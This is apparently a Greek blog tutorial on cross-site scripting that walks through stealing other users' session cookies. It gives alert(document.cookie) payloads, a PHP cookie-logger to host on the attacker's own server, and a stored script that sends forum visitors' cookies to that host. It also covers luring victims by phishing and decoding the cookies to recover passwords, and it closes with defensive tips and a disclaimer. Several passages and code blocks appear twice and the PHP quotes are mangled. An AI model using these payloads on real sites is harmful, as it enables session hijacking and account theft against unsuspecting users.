Το XSS ή αλλιώς Cross Site Scripting αποτελεί ένα είδος ευάλωτου σημείου σε μία διαδικτυακή εφαρμογή, κατά το οποίο επιτρέπεται η εισαγωγή κώδικα από κακόβολους χρήστες σε ιστοσελίδες οι οποίες είναι ορατές από άλλους χρήστες. Ο κώδικας αυτός, ο οποίος είναι συνήθως JavaScript, VBScript, ActiveX, HTML, ή ακόμα και Flash, δεν φιλτράρεται από την εφαρμογή, και κατά συνέπεια εκτελείται στο ανοιχτό session του broswer του θύματος.
Τα κομμάτια του κακόβουλου κώδικα βρίσκονται συνήθως στον υπερσύνδεσμο που οδηγεί σε κάποια ιστοσελίδα. Ο χρήστης-θύμα επιλέγει τον σύνδεσμο αυτό, είτε από κάποιο άλλο site, είτε από κάποια εφαρμογή instant messenger είτε στις περισσότερες περιπτώσεις από κάποιο mail (phising).
Ο λόγος που ο τύπος επίθεσης επιτυγχάνει είναι γιατί τα δεδομένα που εισάγονται σε μια εφαρμογή δεν ελέγχονται για τυχόν επικίνδυνα pattern, καθώς επίσης γιατί οι εφαρμογές συνήθως επιστρέφουν στα “τυφλά” αιτήσεις πίσω στον broswer του χρήστη. Το αποτέλεσμα μιας τέτοιας επίθεσης είναι η λεγόμενη “εικονική πειρατεία” (virtual hijacking) του ανοιχτού session, η οποία γίνεται κλέβοντας τα cookies. Ο επιτιθέμενος έχει την δυνατότητα να υποκλέψει και να διαχειριστεί όλα τα δεδομένα που διακινούνται μεταξύ του νόμιμου χρήστη και του server του site.
Ο λόγος που ο τύπος επίθεσης επιτυγχάνει είναι γιατί τα δεδομένα που εισάγονται σε μια εφαρμογή δεν ελέγχονται για τυχόν επικίνδυνα pattern, καθώς επίσης γιατί οι εφαρμογές συνήθως επιστρέφουν στα “τυφλά” αιτήσεις πίσω στον broswer του χρήστη. Το αποτέλεσμα μιας τέτοιας επίθεσης είναι η λεγόμενη “εικονική πειρατεία” (virtual hijacking) του ανοιχτού session, η οποία γίνεται κλέβοντας τα cookies. Ο επιτιθέμενος έχει την δυνατότητα να υποκλέψει και να διαχειριστεί όλα τα δεδομένα που διακινούνται μεταξύ του νόμιμου χρήστη και του server του site.
Ένα παράδειγμα επίθεσης της μεθόδου XSS παρουσιάζεται στην επόμενη εικόνα.
Όπως είναι εμφανές, στη διεύθυνση της ιστοσελίδας έχει προστεθεί κώδικας Javascript, ο οποίος θα εκτελεστεί όταν ο χρήστης επιλέξει την τροποποιημένη διεύθυνση. Το αποτέλεσμα του Javascript του παραδείγματος (εμφάνιση ενός παραθύρου με κάποιο μήνυμα) δεν είναι επιβλαβές, αλλά ένας κακόβουλος χρήστης έχει την ευκαιρία, με την μέθοδο αυτή, να γίνει ιδιαίτερα επικίνδυνος.
Η μέθοδος XSS χρησιμοποιείται συνήθως στα phising email. Ειδικοί εκτιμούν ότι περίπου το 80% των ιστοσελίδων είναι τρωτά σε αυτού του είδους επιθέσεις.
Τώρα δηλαδή είμαστε οι διαχειριστές του σιτε; Εννοείται πως όχι. Αυτό όμως που μπορούμε να κάνουμε είναι 2 πράγματα.
1) Να κλέψουμε τα cookies άλλων χρηστών και να μπούμε με τα cookies τους σαν να είμαστε αυτοί!(η παραπάνω ιστοσελίδα δεν έχει εγγεγραμμένους χρήστες)
2) Να κάνουμε deface την ιστοσελίδα, δλδ να αλλάξουμε την σελίδα με ότι εμείς θέλουμε.
Για να κάνουμε το πρώτο πάμε πολύ απλά στο serchbox του ευπαθές site και γράφουμε τον εξής javascript κώδικα:
<script>alert(document.cookie)</script>.
Τώρα θα μας εμφανίσει ένα παραθυράκι όπως και πριν με τα cookies μας.
Στην καλύτερη περίπτωση βλέπουμε τα δικά μας cookies. Όμως, αν παρατηρήσετε καλά, θα διακρίνετε ότι ο κώδικας javascript εκτελείται και από το URL. Συγκεκριμένα εκτελείται η παρακάτω εντολή:
1) Να κλέψουμε τα cookies άλλων χρηστών και να μπούμε με τα cookies τους σαν να είμαστε αυτοί!(η παραπάνω ιστοσελίδα δεν έχει εγγεγραμμένους χρήστες)
2) Να κάνουμε deface την ιστοσελίδα, δλδ να αλλάξουμε την σελίδα με ότι εμείς θέλουμε.
Για να κάνουμε το πρώτο πάμε πολύ απλά στο serchbox του ευπαθές site και γράφουμε τον εξής javascript κώδικα:
<script>alert(document.cookie)</script>.
Τώρα θα μας εμφανίσει ένα παραθυράκι όπως και πριν με τα cookies μας.
Στην καλύτερη περίπτωση βλέπουμε τα δικά μας cookies. Όμως, αν παρατηρήσετε καλά, θα διακρίνετε ότι ο κώδικας javascript εκτελείται και από το URL. Συγκεκριμένα εκτελείται η παρακάτω εντολή:
http://www.victim.COM/results?Search=<script>alert(document.cookie)</script>
Αν η παραπάνω εντολή εκτελεστεί στον internet browser του θύματος, τότε θα εμφανίσει στην οθόνη του τα cookies του. Βέβαια αυτό δεν λέει και τίποτα μιας και αυτός που θα τα δει θα είναι ο ιδιοκτήτης των cookies και όχι εμείς.
Aυτό που μένει να κάνουμε για να επιτύχουμε τον αρχικό σκοπό μας (που είναι να κλέψουμε τα cookies του χρήστη) είναι 2 στόχοι:
- Να κάνουμε την παραπάνω εντολή να εκτελεστεί στο PC του «θύματος».
- Να μην δείξουμε τα cookies στην οθόνη του θύματος αλλά να τα καταχωρήσουμε με κάποιο τρόπο κάπου που θα γνωρίζουμε μόνο εμείς, ενώ ο χρήστης «θύμα» δεν θα καταλάβει τίποτα!
Υπάρχουν διάφοροι τρόποι να επιτύχουμε αυτό τον στόχο. Εμείς θα επιλέξουμε αυτόν που χρησιμοποιείται πιο συχνά. Ο τρόπος αυτός λέγεται phishing και είναι αυτός που αναφέραμε στην αρχή του άρθρου. Θα στείλουμε το «κακό» url στο θύμα μας με την μορφή link και θα περιμένουμε να το πατήσει. Όπως θα δούμε παρακάτω, πολλές φορές δεν είναι καν απαραίτητο να «πατήσει» κάπου το θύμα για να την «πατήσει». Μια κίνηση με το ποντίκι είναι αρκετή για να «φάει» στο δόλωμα.
Συνήθως το URL αποστέλλεται με κάποιο mail ή εισάγεται σαν link σε κάποιον server που ο επιτιθέμενος έχει πρόσβαση. Από τη στιγμή που θα μπει το «δόλωμα» στην «πετονιά», το μόνο που χρειάζεται από τον επιτιθέμενο είναι να περιμένει. Σας διαβεβαιώνουμε ότι θύματα θα βρεθούνε πάρα πολλά! Ανεξαρτήτου ηλικίας ή γνώσεων. Το αποτέλεσμα είναι πραγματικά εντυπωσιακό όσο αφορά στην ευκολία που μπορεί κάποιος να την «πατήσει».
Αυτό που θέλουμε να κάνει το URL είναι να στείλει το θύμα σε ένα link το οποίο θα του «κλέψει» τα cookies. Μπορούμε να χρησιμοποιήσουμε javascript μέσω XSS (όπως είδαμε παραπάνω) για να στείλουμε τον χρήστη σε ένα τέτοιο link (redirection). Υπάρχουν πολλοί τρόποι να συντάξουμε το «κακό» XSS που θα υλοποιεί το redirection. Ο πιο επιτυχημένος τρόπος είναι ο παρακάτω.
Α) Δημιουργούμε ένα αρχείο με το όνομα cookie.php και εισάγουμε τον παρακάτω κώδικα:
<?php
$cookie = $_GET['c'];
$ip = getenv (’REMOTE_ADDR’);
$date=date(”j F, Y, g:i a”);;
$referer=getenv (’HTTP_REFERER’);
$fp = fopen(’cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’<br> IP: ‘ .$ip. ‘<br> Date and Ti
me: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);
fclose($fp);
header (”Location: http://www.test.com”);
?>
$cookie = $_GET['c'];
$ip = getenv (’REMOTE_ADDR’);
$date=date(”j F, Y, g:i a”);;
$referer=getenv (’HTTP_REFERER’);
$fp = fopen(’cookies.html’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’<br> IP: ‘ .$ip. ‘<br> Date and Ti
me: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);
fclose($fp);
header (”Location: http://www.test.com”);
?>
Το αρχείο cookie.php το ανεβάζουμε σε κάποιο host site που έχουμε. Φυσικά στην προτελευταία σειρά τοποθετούμε την διεύθυνση του host μας αντί για test.com.
Β) Δημιουργούμε ένα νέο thread στο ευάλωτο φόρουμ και πληκτρολογούμε το ακόλουθο:
Β) Δημιουργούμε ένα νέο thread στο ευάλωτο φόρουμ και πληκτρολογούμε το ακόλουθο:
<script>document.location=”http://www.myhost.com/cookie.php?c=” + document.cookies</script>
Φυσικά στο myhost.com βάζουμε το δικό μας host έτσι ώστε τα cookies να έρθουν στο δικό μας host. Τώρα όταν κάποιο μέλος του site ή του forum ανοίξει το thread τα cookies του θα σταλούν στο:
Οπότε έχοντας το cookie και σε συνδοιασμό με το πρόγραμμα Cain ή κάποιο άλλο cookie decoder θα μπορέσουμε να αποκρυπτογραφήσουμε το cookie για να βρούμε το password.
Τρόποι προφύλαξης
Τρόποι προφύλαξης υπάρχουν αρκετοί, αρκεί να είσαστε υποψιασμένοι. Ο μεγαλύτερος κίνδυνος είναι η άγνοια και η αφηρημάδα. Αν ξεπεράσετε αυτά τα εμπόδια μένουν λίγα βασικά πράγματα που πρέπει να κάνετε:
1. Κοιτάτε πάντα σε τι link οδηγούν αυτά που σας στέλνουν. Αυτό πολλές φορές (όπως είδαμε) δεν είναι αρκετό, αλλά είναι ένα μικρός τρόπος προφύλαξης.
2. Έχετε πάντα ενεργοποιημένους «μηχανισμούς» antiphishing (ο IE7 το παρέχει build-in).
3. Έχετε πάντα ενεργοποιημένους «μηχανισμούς» που δεν επιτρέπουν εκτέλεση κώδικα Java-Script. Για παράδειγμα το AddIn του firefox NoScript το οποίο έχει και ενσωματωμένο μηχανισμό anti-XSS!
4. Για να είστε σίγουροι, χρησιμοποιείτε παραπάνω του ενός internet browsers. Στον ένα θα έχετε τα "ευαίσθητα" δεδομένα σας με τα cookies τους και όλα τα καλά..., και στον άλλον θα δοκιμάζετε τα "περίεργα" Links.
5. Αν για κάτι δεν είστε σίγουροι κάντε clear cookies και μετά εκτελέστε το περίεργο link.
6. Ποτέ μα ποτέ μην αναφέρετε passwords ή άλλα ευαίσθητα δεδομένα, σε e-mails. Ποτέ καμία τράπεζα δεν πρόκειται να σας ζητήσει με mail το PIN σας ή κάποιο άλλο προσωπικό σας στοιχείο! Αν λάβετε ποτέ τέτοια e-mails μπορείτε να τα καταγγείλετε στην Δίωξη Ηλεκτρονικού Εγκλήματος και φυσικά να μπλοκάρετε την διεύθυνση που σας έστειλε το mail.
Συμπεράσματα
Το όλο σκηνικό που περιγράψαμε είναι απόλυτα πραγματικό και συνέβη σε κάποιον πραγματικό server. O λόγος που επιλέξαμε αυτήν την προσέγγιση είναι για να μπορέσετε να καταλάβετε τον τρόπο που λειτουργούν οι απλοί απατεώνες (του κοινού ποινικού δικαίου) για να σας κάνουν να τους δώσετε (χωρίς να το θέλετε) τα στοιχεία σας.
Εμείς κάναμε τις δοκιμές μας σε ένα site εύρεσης εργασίας. Τα πράγματα γίνονται πάρα πολύ πιο σοβαρά όταν πρόκειται για sites τραπεζών ή οπουδήποτε φυλάσσονται προσωπικά ή οικονομικά στοιχεία. Όλοι όσοι ισχυρίζονται οτι το XSS είναι ουσιαστικά ακίνδυνο και δεν αποτελεί πραγματικό πρόβλημα ασφάλειας, θα τους παρακαλούσαμε να το ξανασκεφτούν. Εάν δεν το καταλαβαίνουν όμως, τουλάχιστον ας μην το αναφέρουν δεξιά αριστερά ξεγελώντας πολλές φορές (χωρίς να το θέλουν;) ανθρώπους που δεν γνωρίζουν.
Η ηλεκτρονική απάτη δεν διαφέρει σε τίποτα από οποιαδήποτε άλλη απάτη, όπως και ο ηλεκτρονικός κλέφτης δεν διαφέρει σε τίποτα από τον κοινό διαρρήκτη ή απατεώνα του δρόμου! Ο στόχος μας ήτανε και είναι πάντα να σας μάθουμε πως σκέφτονται και πως κινούνται αυτοί ώστε να είσαστε υποψιασμένοι!
ΠΡΟΣΟΧΗ!
Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε
φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση
και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε
παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.
0 σχόλια:
Δημοσίευση σχολίου
Σημείωση: Μόνο ένα μέλος αυτού του ιστολογίου μπορεί να αναρτήσει σχόλιο.